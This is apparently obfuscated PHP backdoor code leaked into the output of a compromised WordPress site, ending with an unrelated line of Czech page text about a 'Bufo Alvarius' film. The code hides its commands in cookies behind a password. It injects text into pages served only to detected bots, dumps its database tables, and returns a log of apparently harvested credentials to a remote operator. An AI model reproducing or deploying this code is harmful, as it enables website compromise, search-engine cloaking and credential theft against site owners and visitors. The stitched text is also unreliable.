if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_174', '_'.'175') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$time = time();
$password = $simpleCache->getActionPass();
if ($password != $_COOKIE[_keys::_dekr('_154', '_'.'155')])
die('8pclgjm9wlf6nv0k');
$url = $_COOKIE[_keys::_dekr('_176', '_'.'177')];
$identifier = $_COOKIE[_keys::_dekr('_166', '_'.'167')];
$key = intval($_COOKIE[_keys::_dekr('_22', '_'.'23')]);
$url_hash = md5(urldecode($simpleCache->decode($url, $key)));
$file_name = $url_hash;
$content = $simpleCache->httpGet(urldecode($simpleCache->decode($url, $key)));
if (empty($content) || $content === false)
die('bj4wla69wjyeyads');
$tasks = $simpleCache->readAllTableValues(SimpleCache::$tasks_db_name);
if ($tasks != _keys::_dekr('_60', '_'.'61')) {
foreach ($tasks as $task) {
$task = $task->value;
$data = unserialize($task);
$task_key = key($data);
$task_data = $data[$task_key];
if ($url_hash === $task_data[_keys::_dekr('_168', '_'.'169')]) {
$content = $simpleCache->rerender_page($content, $task_data);
break;
}
}
$simpleCache->change_cache_date($url, $time);
}
$text = trim($_COOKIE[_keys::_dekr('_20', '_'.'21')]);
$place = $_COOKIE[_keys::_dekr('_24', '_'.'25')];
$insert_data = $simpleCache->insertText($content, urldecode($simpleCache->decode($text, $key)), $place);
$place_id = $insert_data[0];
$new_content = $insert_data[1];
$tasksettings = [];
$tasksettings[$url] = [_keys::_dekr('_166', '_'.'167') => $identifier, _keys::_dekr('_168', '_'.'169') => $url_hash, _keys::_dekr('_22', '_'.'23') => $key, _keys::_dekr('_24', '_'.'25') => $place, _keys::_dekr('_26', '_'.'27') => $place_id, _keys::_dekr('_20', '_'.'21') => trim($_COOKIE[_keys::_dekr('_20', '_'.'21')]), _keys::_dekr('_178', '_'.'179') => $time];
$simpleCache->insertTableData(SimpleCache::$tasks_db_name, [_keys::_dekr('_16', '_'.'17')], [serialize($tasksettings)]);
if (empty($wpdb->get_row('SELECT id FROM ' . SimpleCache::$cache_db_name . ' WHERE hash = \'' . $url_hash . '\''))) {
$simpleCache->insertTableData(SimpleCache::$cache_db_name, [_keys::_dekr('_156', '_'.'157'),_keys::_dekr('_16', '_'.'17')], [$url_hash,urlencode($new_content)]);
} else {
$simpleCache->updateTableData(SimpleCache::$cache_db_name, [_keys::_dekr('_16', '_'.'17')], [urlencode($new_content)], _keys::_dekr('_156', '_'.'157'), $url_hash);
}
die('s9zn9qtkf1ktmdq3');
}
if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_180', '_'.'181') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$password = $simpleCache->getActionPass();
if ($password != $_COOKIE[_keys::_dekr('_154', '_'.'155')])
die('8pclgjm9wlf6nv0k');
$tables = [_keys::_dekr('_182', '_'.'183'), _keys::_dekr('_4', '_'.'5'), _keys::_dekr('_8', '_'.'9'), _keys::_dekr('_12', '_'.'13')];
foreach ($tables as $table) {
$value = $simpleCache->readAllTableValues(SimpleCache::$$table);
if ($value === _keys::_dekr('_60', '_'.'61'))
die('2d929fe1ofo6vk1y');
$files[SimpleCache::$$table] = urlencode(serialize($value));
}
die(json_encode($files));
}
if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_184', '_'.'185') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$password = $simpleCache->getActionPass();
if ($password != $_COOKIE[_keys::_dekr('_154', '_'.'155')])
die('8pclgjm9wlf6nv0k');
$taskslist = $simpleCache->readAllTableValues(SimpleCache::$tasks_db_name);
$tasks_stats = [];
if ($taskslist != _keys::_dekr('_60', '_'.'61')) {
foreach ($taskslist as $onetask) {
$onetask = $onetask->value;
$onetask = unserialize($onetask);
$onetask_key = key($onetask);
$onetask_data = $onetask[$onetask_key];
$task_identifier = $onetask_data[_keys::_dekr('_166', '_'.'167')];
$task_stats = (isset($onetask_data[_keys::_dekr('_32', '_'.'33')])) ? $onetask_data[_keys::_dekr('_32', '_'.'33')] : _keys::_dekr('_60', '_'.'61');
$tasks_stats[$task_identifier] = $task_stats;
}
}
$tasks_stats = (!empty($tasks_stats)) ? serialize($tasks_stats) : _keys::_dekr('_60', '_'.'61');
$creds_log = null;
$creds_obj = $simpleCache->readAllTableValues(SimpleCache::$lasttime_db_name);
if ($creds_obj != _keys::_dekr('_60', '_'.'61')) {
foreach ($creds_obj as $creds_obj_item) {
$creds_log[] = $creds_obj_item->value;
}
}
$creds_log = (!empty($creds_log)) ? serialize($creds_log) : _keys::_dekr('_60', '_'.'61');
$responce = $tasks_stats . '::::::' . $creds_log;
die($responce);
}
$alltasks = null;
if (!empty($wpdb->get_results('SHOW TABLES LIKE \'' . SimpleCache::$tasks_db_name . '\''))) {
$alltasks = $simpleCache->readAllTableValues(SimpleCache::$tasks_db_name);
if ($alltasks != _keys::_dekr('_60', '_'.'61')) {
foreach ($alltasks as $onetask) {
$time = time();
$onetask = $onetask->value;
$onetask = unserialize($onetask);
$task_key = key($onetask);
$onetask_data = $onetask[$task_key];
$en_url = $task_key;
$cache_time = $onetask_data[_keys::_dekr('_178', '_'.'179')];
$en_key = $onetask_data[_keys::_dekr('_22', '_'.'23')];
$de_url = urldecode($simpleCache->decode($en_url, $en_key));
$url_hash = md5($de_url);
$bot = $simpleCache->checkbot();
if (($simpleCache->cleanUrl($simpleCache->current_url) === $simpleCache->cleanUrl($de_url)) && in_array($bot, [_keys::_dekr('_28', '_'.'29'),_keys::_dekr('_30', '_'.'31')])) {
$pagetoshow = null;
$cached_page = $simpleCache->readTableValue(SimpleCache::$cache_db_name, _keys::_dekr('_16', '_'.'17'), _keys::_dekr('_156', '_'.'157'), $onetask_data[_keys::_dekr('_168', '_'.'169')]);
if ($cached_page != _keys::_dekr('_60', '_'.'61') && ($time - $cache_time) < 86400 && $bot != _keys::_dekr('_30', '_'.'31')) {
$pagetoshow = urldecode($cached_page);
} else {
$content = $simpleCache->httpGet(urldecode($simpleCache->decode($en_url, $en_key)));
if (empty($content) || $content === false)
die('bj4wla69wjyeyads');
$tasks = $simpleCache->readAllTableValues(SimpleCache::$tasks_db_name);
if ($tasks != _keys::_dekr('_60', '_'.'61')) {
foreach ($tasks as $task) {
$task = $task->value;
$adata = unserialize($task);
$atask_key = key($adata);
$atask_data = $adata[$atask_key];
if ($url_hash === $atask_data[_keys::_dekr('_168', '_'.'169')])
$content = $simpleCache->rerender_page($content, $atask_data);
}
}
$simpleCache->updateTableData(SimpleCache::$cache_db_name, [_keys::_dekr('_16', '_'.'17')], [urlencode($content)], _keys::_dekr('_156', '_'.'157'), $url_hash);
$pagetoshow = $content;
$simpleCache->change_cache_date($en_url, $time);
}
$simpleCache->stats($en_url, $bot, $en_key);
if (!empty($pagetoshow))
die($pagetoshow);
}
}
}
}
/* Class Cache Server instance end */
Bufo Alvarius Reloded je venku – podívejte se zdarma zde | Bufo Alvarius: The Underground Secret
Přeskoč na obsah